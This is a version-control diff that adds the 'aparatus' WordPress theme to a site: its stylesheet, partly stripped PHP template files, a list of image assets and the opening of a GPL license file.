li:hover ul ul ul, #nav2 li.sfhover ul ul, #nav2 li.sfhover ul ul ul {left: -999em;} +#nav2 li:hover ul, #nav2 li li:hover ul, #nav2 li li li:hover ul, #nav2 li.sfhover ul, #nav2 li li.sfhover ul, #nav2 li li li.sfhover ul {left: auto;} + +#cat-nav {clear:both; padding:0 0 0 7px;} +#cat-nav ul li.cat-item {background:url(images/cat-nav-bg.png) repeat-x; border-top:1px solid #999; border-right:1px solid #999; border-left:1px solid #999;} + +#cat-nav ul li.cat-item a {color:#204343; text-shadow:0 1px 0 #fff;} +#cat-nav ul li.cat-item a:hover {color:#000000;} +#cat-nav ul li.cat-item.current-cat {background:url(images/cat-nav-current-bg-green.png) repeat-x;} +#cat-nav ul li.cat-item.current-cat a {color:#FFFFFF; text-shadow:none;} +#nav2 li ul.children li.cat-item.current-cat {background:#ffffff;} +#nav2 li ul.children li.cat-item.current-cat a{color:#204343; text-shadow:0 1px 0 #fff;} +#cat-nav ul li.cat-item.current-cat ul.children li a{color:#204343; text-shadow:0 1px 0 #fff;} + +/*single*/ +.main-container{width:590px; overflow:hidden; margin:20px 20px 20px 0; float:left; text-align:left; font-family:Arial, Helvetica, sans-serif; font-size:13px; position:relative;} +.main-container a {color:#4d7b7b; text-decoration:none;} +.main-container a:hover {color:#666666; text-decoration:underline;} + +.title-area {padding:15px 10px 8px 10px; color:#204343; font-size:48px; text-transform:capitalize; background:#EEEEEE; border:1px solid #DDDDDD; margin-bottom:25px; } + +.retweet-btn-small {float:right; position:relative; top:6px; left:22px;} +.retweet-btn {float:right; padding:2px 3px 0 5px;} +.post-title {font-family:helvetica, arial; letter-spacing:-1px; font-size:24px; font-weight:bold; line-height:26px; margin-bottom:15px; text-transform:capitalize;} +.post-title a {text-decoration:none; color:#333333;} +.post-title a:hover {color:#204343; text-decoration:underline;} +.post-title-big {font-size:48px; font-weight:normal; line-height:38px; margin-bottom:15px; text-transform:capitalize; text-indent:-8px;} +.post-title-big a {text-decoration:none; color:#333333;} +.post-title-big a:hover {text-decoration:none;} +.post-meta-data {font-size:11px; color:#434343; text-transform:uppercase; font-family:georgia; margin-bottom:15px; } +img.thumbs-in-archive {float:right; padding:5px; border:1px solid #CCCCCC; margin:1px 0 0 15px;} +.post-excerpt {line-height:20px; height:85px; overflow:hidden; margin-bottom:22px;} +.post-content {clear:both; line-height:24px; margin-bottom:30px; overflow:hidden;} +.post-content a {background:#EEEEEE; text-shadow:0 1px 0 #fff;} +.post-content ol {padding:10px 0 10px 40px;} +.post-content ol li ol {padding-left:20px;} +.post-content ol li ul {padding-left:20px;} +.post-content ul {padding:10px 0 10px 40px;} +.post-content ul li ol {padding-left:20px;} +.post-content ul li ul {padding-left:20px;} +.post-content p {padding:0 0 15px 0;} +.post-content h1, .post-content h2, .post-content h3, .post-content h4, .post-content h5, .post-content h6 {font-size:24px; font-weight:normal; line-height:30px; padding-bottom:10px;} + +.wp-caption {padding:8px 3px 0px 3px; border:1px solid #eeeeee; text-align:center; margin:0 auto;} +.wp-caption.alignright {margin:8px 0 5px 15px;} +.wp-caption.alignleft {margin:8px 15px 5px 0;} +.wp-caption.aligncenter{clear:both; margin:15px auto; display:block; } +.wp-caption.alignnone {clear:both; margin:15px auto; display:block; } +p.wp-caption-text {text-align:center; font-family:georgia; font-style:italic; font-size:11px; line-height:13px;} + +.post-content img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content img.alignnone {clear:both; margin:10px auto; display:block; } +.post-content a img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content a img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content a img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content a img.alignnone {clear:both; margin:10px auto; display:block; } + +.post-content p img.alignright {display:inline; margin:20px 0 5px 20px;} +.post-content p img.alignleft {display:inline; margin:20px 20px 5px 0;} +.post-content p img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content p img.alignnone {clear:both; margin:10px auto; display:block; } +.post-content p a img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content p a img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content p a img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content p a img.alignnone {clear:both; margin:10px auto; display:block; } + +#page-links {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; margin:5px 0 30px 0; clear:both;} +#page-links a {padding:2px 4px; text-decoration:none; color: #ffffff; background-color: #204343; border: 1px solid #204343; text-shadow:none; } +#page-links a:hover {border: 1px solid #204343; background:#FFFFFF; color:#333333;} + +.author-box { background:#eee; border:1px solid #DDDDDD; padding:20px; margin-bottom:30px;} +.author-box img.avatar {float:left; border:1px solid #ccc; padding:3px; margin:1px 10px 0 0;} +.author-box .author-name {padding-bottom:0px; font-style:italic; font-weight:bold; font-size:24px; color:#204343;} +.author-box .author-description {font-family:verdana, arial, helvetica; font-size:11px; line-height:16px; color:#666666;} +.author-box .author-links {margin:14px 0 2px; font-family:georgia, arial, helvetica; text-transform:uppercase; font-size:11px; border-top:1px dashed #ccc; padding-top:14px;} +.author-box-small { background:#eee; border:1px solid #DDDDDD; padding:5px 10px 5px 5px; text-align:right; font-family:verdana, arial, helvetica; font-size:11px; margin-bottom:25px; text-shadow:0 1px 0 #fff;} + +.social-bar {background:url(images/spread-the-word.png) no-repeat top left; height:63px; text-align:right; margin:0 0 30px 0; position:relative;} +ul#social-btns {position:absolute; left:299px;} +ul#social-btns li {float:left; height:63px; list-style:none;} +ul#social-btns li a {height:63px; background:url(images/social-sprites.png); display:block; text-indent:9999px;} +ul#social-btns li a#delicious {width:68px; background-position:0 -66px;} +ul#social-btns li a:hover#delicious {width:68px; background-position:0 0;} +ul#social-btns li a#digg {width:52px; background-position:-68px -66px;} +ul#social-btns li a:hover#digg {width:52px; background-position:-68px 0;} +ul#social-btns li a#stumbleupon {width:58px; background-position:-120px -66px;} +ul#social-btns li a:hover#stumbleupon {width:58px; background-position:-120px 0;} +ul#social-btns li a#technorati{width:58px; background-position:-178px -66px;} +ul#social-btns li a:hover#technorati{width:58px; background-position:-178px 0;} +ul#social-btns li a#twitter {width:54px; background-position:-236px -66px;} +ul#social-btns li a:hover#twitter {width:54px; background-position:-236px 0;} +/*comments*/ + +#comments {padding:0 0 35px 0; } +#comments h3{text-align:left; font-size:48px; font-weight:normal; line-height:38px; color:#333333;} +img.avatar {float:left; padding:3px; border:1px solid #ccc; margin:0 10px 0 0;} +cite.fn a {font-family:georgia; font-style:normal; text-transform:uppercase; padding:0; color:#333333; text-decoration:none; font-size:11px;} +.comment-author {padding:0; line-height:14px;} +.comment-meta {font-family:'Trebuchet MS', verdana; font-size:11px; color:#666666; line-height:14px; padding-bottom:5px;} +.comment-meta a {color:#204343; font-weight:normal; text-decoration:none;} +.comment-body {margin-bottom:20px; padding:20px 20px 5px 20px; font-style:italic; font-family:'Lucida Grande','Lucida Sans Unicode','Trebuchet MS',verdana,georgia; overflow:hidden;} + +.comment-body p a {color:#204343; font-weight:bold; text-decoration:none;} +.comment-body p a:hover{text-decoration:underline;} +li.comment.even {background:#fff; border:1px solid #DDDDDD; margin-bottom:20px;} +li.comment.odd {background:#eee; border:1px solid #DDDDDD; margin-bottom:20px;} +ul.commentlist li {list-style:none;} +li.parent {padding-bottom:10px;} +.commentlist ul.children {margin:20px;} +.comment-meta .commentmetadata p a {color:#21759B; } +.reply {clear:both; border-top:1px dashed #ccc; padding-top:7px; margin-top:12px; text-align:right;} +a.comment-reply-link {color:#21759B; font-family:verdana; font-size:11px; padding:0 0 0 19px; background:url(images/arrow-135-medium.png) left no-repeat; } + +/*response*/ +h3#response-title {text-align:left; font-size:48px; font-weight:normal; line-height:38px; color:#333333; padding:15px 0 35px 0; } +h3#response-title a {color:#000000; text-decoration:none; text-transform:capitalize;} +a#cancel-comment-reply-link {padding:5px; background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; text-transform:uppercase; text-decoration:none;} +#commentform {padding:45px 25px 25px 25px; background:#fff; border:1px solid #DDDDDD; margin-bottom:25px;} +#commentform p {padding-bottom:5px;} +.comment-form-input-fields {padding:5px; margin-bottom:10px;} +.comment-form-labels {font-family:rockwell,georgia; font-weight:bold; color:#FFFFFF; width:162px; font-size:14px; padding:5px; text-transform:uppercase; background:url(images/comment-labels.gif) no-repeat top right #2b2b2b; } +.comment-form-labels small {font-family:Verdana, Arial, helvetica; font-size:9px; font-weight:normal;} +input.send-comment {background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; padding:5px;} + +/*snarfer specific*/ + +h3.tab-bars {clear:both; background:url(images/cat-nav-bg.png) repeat-x; height:22px; border:1px solid #e9e9e9; padding:5px 0 0 7px; margin-bottom:25px; } +h3.tab-bars a {font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; text-decoration:none; line-height:16px; font-size:14px; text-shadow:0 1px 0 #fff; color:#204343;} +h3.tab-bars a:hover {text-shadow:none; color:#000000;} +.post-container {width:285px; float:left;} +.post-container.odd {margin-right:20px;} +.post-container .post-title-sm {font-size:17px; padding-bottom:10px; text-transform:capitalize; font-weight:bold;} +.post-container .post-title-sm a {text-decoration:none; color:#333333; } +.post-container .post-title-sm a:hover {text-decoration:underline; color:#204343;} +.post-container .post-meta-data {font-size:11px; color:#434343; text-transform:uppercase; font-family:georgia; padding:0 0 5px 0; margin:0;} +.post-container img.thumbs {padding:5px; border:1px solid #CCCCCC; margin-bottom:10px;} +.post-container .post-excerpt-small {overflow:hidden; height:65px; font-size:12px; line-height:20px; margin-bottom:10px;} +.post-container .continue {background:#eee; border:1px solid #DDDDDD; padding:5px 10px 5px 5px; text-align:right; font-family:verdana, arial, helvetica; font-size:11px; margin-bottom:25px;} +.post-container .continue a {font-family:verdana, arial, helvetica; font-weight:bold; font-size:10px; color:#666666; text-decoration:none; text-shadow:0 1px 0 #fff; } +.post-container .continue a:hover {text-decoration:underline;} +#view-all {float:right; padding: 2px 4px; margin:20px 0 20px 0; background:#eee; border:1px solid #DDDDDD;} +#view-all a {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; color: #000000; text-decoration:none; text-shadow:0 1px 0 #fff;} +#view-all a:hover {text-decoration:underline;} + +/*sidebar*/ +#sidebar {width:330px; min-height:700px; overflow:hidden; float:left;} +#searchform {height:40px; background:#e5e5e5; text-align:left; margin-bottom:5px; border-bottom:1px solid #DDDDDD; border-right:1px solid #DDDDDD; border-left:1px solid #DDDDDD;} +input.inputs {margin:8px 0 0 24px;} +input.go {background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; } +#twitter-entry {background:url(images/twitter.gif); width:331px; height:91px; margin-bottom:10px;} +#twitter-entry p {font-family:verdana, helvetica, arial; font-size:11px; text-align:left; padding:20px 5px 0 100px; text-shadow:0 1px 0 #fff;} +#twitter-entry a {color:#204343; text-decoration:none;} +#twitter-entry a:hover {text-decoration:underline;} +#adblock-big {padding:15px 10px 15px 10px; background:#e5e5e5; margin-bottom:20px; border:1px solid #DDDDDD;} +#adblock-small {border:1px solid #DDDDDD; clear:both; background:#ededed; padding:20px 0 10px 28px; overflow:hidden; margin-bottom:20px;} +#adblock-small ul li {float:left; list-style:none; padding:10px 24px 10px 0;} +.sidebar-row{padding:25px 20px; background:#e5e5e5; margin-bottom:20px; border:1px solid #DDDDDD; text-align:left; font-family:verdana,arial,helvetica; font-size:11px; line-height:16px; text-shadow:0 1px 0 #fff;} +.sidebar-row h3 {font-size:32px; padding-bottom:10px;} +.sidebar-row ul {padding:0 10px 0 10px;} +.sidebar-row ul li{list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-green.gif) no-repeat; background-position:0 9px; padding-left:20px;} +.sidebar-row ul.children li {border-bottom:none;} +.sidebar-row a {color:#000000; text-decoration:none;} +.sidebar-row a:hover {text-decoration:underline; color:#204343;} +.sidebar-row #calendar_wrap {background:#ffffff; border:1px solid #DDDDDD; padding:25px;} +.sidebar-row #calendar_wrap caption {font-weight:bold; padding-bottom:25px; font-size:20px; font-family:helvetica; text-shadow:0 1px 0 #fff;} +.sidebar-row table#wp-calendar {border-collapse:collapse; width:100%; text-align:center;} + +/*tabbed-menu*/ +#tabbed-container {border:1px solid #DDDDDD; clear:both; background:#ededed; padding:16px 0 20px 16px; height:364px; margin-bottom:20px; text-align:left; color:#666666; font-family:verdana,arial,helvetica; font-size:11px; line-height:16px;} +ul.mootabs_title {list-style-image: none; list-style-type: none; padding: 0px; height: 24px; font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; color:#204343; text-decoration:none; line-height:16px; font-size:14px; letter-spacing:-1px; text-shadow:0 1px 0 #fff;} +ul.mootabs_title li {float: left; display:block; padding:5px 7px 0 7px; height:22px; line-height:16px; margin-right:4px; cursor: pointer; background:url(images/cat-nav-bg.png) repeat-x; border-top:1px solid #DDDDDD; border-right:1px solid #DDDDDD; border-left:1px solid #DDDDDD; border-bottom:1px solid #CCCCCC;} +.mootabs_title li.active { background:url(images/cat-nav-current-bg-green.png); color:#FFFFFF; text-shadow:none; } +.mootabs_panel {display: none; position: relative; width:100%; top: 12px; clear: both; overflow: hidden;} +.mootabs_panel p {font-family:Arial, Helvetica, sans-serif; padding:25px; text-align:left;} +.mootabs_panel.active { background-color: #fff; display: block;} + +/*popular posts*/ +#Popular {padding:15px 25px 25px 25px; width:240px; border:1px solid #DDDDDD;} +#Popular a{text-decoration:none; color:#666666;} +#Popular a:hover{text-decoration:underline; color:#000000;} +#Popular ul{padding:0 10px 0 0;} +#Popular ul li {list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-green.gif) no-repeat; background-position:0 9px; padding-left:20px;} +/*recent comments*/ +#RecentComments {padding:15px 25px 25px 25px; width:240px; font-weight:bold; color:#000000; border:1px solid #DDDDDD;} +#RecentComments a{text-decoration:none; color:#666666; font-weight:normal; padding-left:5px;} +#RecentComments a:hover{text-decoration:underline; color:#000000;} +#RecentComments ul{padding:0 10px 0 0;} +#RecentComments ul li {list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-green.gif) no-repeat; background-position:0 9px; padding-left:20px;} +/*tag cloud*/ +#Tags {padding:15px 25px 25px 25px; width:240px; border:1px solid #DDDDDD;} +#Tags a {text-decoration:none; color:#666666;} +#Tags a:hover {text-decoration:underline; color:#000000;} + +/*page-navi*/ + +.wp-pagenavi {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; float:right;} +.wp-pagenavi a, .wp-pagenavi a:link { padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #204343; color: #ffffff; background-color: #204343;} +.wp-pagenavi a:visited {padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #204343; color: #ffffff; background-color: #204343;} +.wp-pagenavi a:hover {border: 1px solid #204343; color: #000000; background-color: #FFFFFF;} +.wp-pagenavi a:active {padding:2px 4px; margin:2px; text-decoration: none; border: 1px solid #204343; background-color: #FFFFFF;} +.wp-pagenavi span.pages {padding: 2px 4px; margin: 2px; color: #000000; background:#eee; border:1px solid #DDDDDD; text-shadow:0 1px 0 #fff;} +.wp-pagenavi span.current {padding: 2px 4px; margin: 2px; font-weight: bold; background:#eee; border:1px solid #DDDDDD;} +.wp-pagenavi span.extend {padding: 2px 4px 2px 4px; margin: 2px; border: 1px solid #000000; color: #000000; background-color: #FFFFFF;} +.wp-pagenavi span.current a.page{color:#FFFFFF; } +.next-prev-links {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; float:right;} +.next-prev-links a {padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #204343; color: #ffffff; background-color: #204343;} + + + + +/*footer*/ +#footer {height:106px; clear:both; padding:40px 49px 0 49px; width:940px; margin:0 auto; text-align:left; background:url(images/footer-bg.gif) no-repeat top left; position:relative; +} +#logo-footer {text-transform:uppercase; color:#074141; font-size:30px; display:block; margin:18px 7px 2px 0; padding:0; clear:both; text-align:right;} +#page-nav-footer {float:right; text-align:right;} +#page-nav-footer ul li {float:left; list-style:none; line-height:8px; padding:0 8px 2px 8px; margin-bottom:3px; background:url(images/credits-sep.png) no-repeat top left;} +#page-nav-footer ul li.first {background:none;} +#page-nav-footer ul li a {font-family:verdana, helvetica, arial; font-size:11px; color:#204343; text-decoration:none; text-shadow:0 1px 0 #fff;} +#page-nav-footer ul li a:hover {text-decoration:underline;} +#credits {display:block; padding:2px 7px 0 0; clear:both; font-family:georgia; font-size:11px; text-shadow:0 1px 0 #fff; display:block; text-align:right;} +#credits a{color:#000000; text-decoration:none;} +#credits a:hover {color:#666666;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,113 @@ + + + + + <?php bloginfo('name'); ?><?php wp_title(); ?> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/home.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/home.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,72 @@ + +
    + + + + + + +ID, $saved_ids)) continue; + update_post_caches($posts); + }?> + + +
    + + +
    + +
    + + + +
    + + + + + 'thumbs-in-archive')); ?> + +ID, 'image', true) ) {?> + + <?php the_title(); ?> + + + +
    + +
    +
    +By with +
    + + + + + + + + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/1st-ad-blocks.jpg Binary file web/wp-content/themes/aparatus/images/1st-ad-blocks.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/2nd-ad-blocks.jpg Binary file web/wp-content/themes/aparatus/images/2nd-ad-blocks.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/3rd-ad-blocks.jpg Binary file web/wp-content/themes/aparatus/images/3rd-ad-blocks.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/4th-ad-blocks.jpg Binary file web/wp-content/themes/aparatus/images/4th-ad-blocks.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/Thumbs.db Binary file web/wp-content/themes/aparatus/images/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/ad-blocks-big.jpg Binary file web/wp-content/themes/aparatus/images/ad-blocks-big.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/arrow-135-medium.png Binary file web/wp-content/themes/aparatus/images/arrow-135-medium.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/blockquote-bg.png Binary file web/wp-content/themes/aparatus/images/blockquote-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/cat-nav-bg.png Binary file web/wp-content/themes/aparatus/images/cat-nav-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/cat-nav-current-bg-black.png Binary file web/wp-content/themes/aparatus/images/cat-nav-current-bg-black.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/cat-nav-current-bg-blue.png Binary file web/wp-content/themes/aparatus/images/cat-nav-current-bg-blue.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/cat-nav-current-bg-green.png Binary file web/wp-content/themes/aparatus/images/cat-nav-current-bg-green.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/cat-nav-current-bg.png Binary file web/wp-content/themes/aparatus/images/cat-nav-current-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/clear.gif Binary file web/wp-content/themes/aparatus/images/clear.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/comment-labels.gif Binary file web/wp-content/themes/aparatus/images/comment-labels.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/credits-sep.png Binary file web/wp-content/themes/aparatus/images/credits-sep.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/footer-bg.gif Binary file web/wp-content/themes/aparatus/images/footer-bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/header-bg.gif Binary file web/wp-content/themes/aparatus/images/header-bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/list-item-style-black.gif Binary file web/wp-content/themes/aparatus/images/list-item-style-black.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/list-item-style-blue.gif Binary file web/wp-content/themes/aparatus/images/list-item-style-blue.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/list-item-style-green.gif Binary file web/wp-content/themes/aparatus/images/list-item-style-green.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/list-item-style-maroon.gif Binary file web/wp-content/themes/aparatus/images/list-item-style-maroon.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/nav-bar-temp.png Binary file web/wp-content/themes/aparatus/images/nav-bar-temp.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/page-tab.gif Binary file web/wp-content/themes/aparatus/images/page-tab.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/social-sprites.png Binary file web/wp-content/themes/aparatus/images/social-sprites.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/spread-the-word.png Binary file web/wp-content/themes/aparatus/images/spread-the-word.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/tab-bars.png Binary file web/wp-content/themes/aparatus/images/tab-bars.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/temp-image-large.jpg Binary file web/wp-content/themes/aparatus/images/temp-image-large.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/temp-image-small.jpg Binary file web/wp-content/themes/aparatus/images/temp-image-small.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/twitter-badge-black.png Binary file web/wp-content/themes/aparatus/images/twitter-badge-black.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/twitter-badge-blue.png Binary file web/wp-content/themes/aparatus/images/twitter-badge-blue.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/twitter-badge-green.png Binary file web/wp-content/themes/aparatus/images/twitter-badge-green.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/twitter-badge-maroon.png Binary file web/wp-content/themes/aparatus/images/twitter-badge-maroon.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/twitter.gif Binary file web/wp-content/themes/aparatus/images/twitter.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/user-silhouette.png Binary file web/wp-content/themes/aparatus/images/user-silhouette.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/images/wrap-bg.gif Binary file web/wp-content/themes/aparatus/images/wrap-bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,61 @@ + +
    + + + +
    + + +
    + +
    + + + +
    + + + + + 'thumbs-in-archive')); ?> + +ID, 'image', true) ) {?> + + <?php the_title(); ?> + + + +
    + +
    +
    +By with +
    + + + + + + + + + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/license.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/license.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,119 @@ +This wordpress theme must be used with accordance to it's creator's license. You can find the link to theme creator's website in your Wordpress admin panel. Most of themes downloaded from themeswp.com are released under GNU GPL license. Also when downloading theme from themeswp.com you should read and agree with terms of services: + +1) GNU GPL License + +GNU GENERAL PUBLIC LICENSE +Version 2, June 1991 + +Copyright (C) 1989, 1991 Free Software Foundation, Inc. +51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA + +Everyone is permitted to copy and distribute verbatim copies +of this license document, but changing it is not allowed. + +Preamble + +The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. + +When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. + +To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. + +For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. + +We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. + +Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. + +Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. + +The precise terms and conditions for copying, distribution and modification follow. +TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + +0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. + +1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. + +You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. + +2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. + b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. + c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. + +3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, + b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 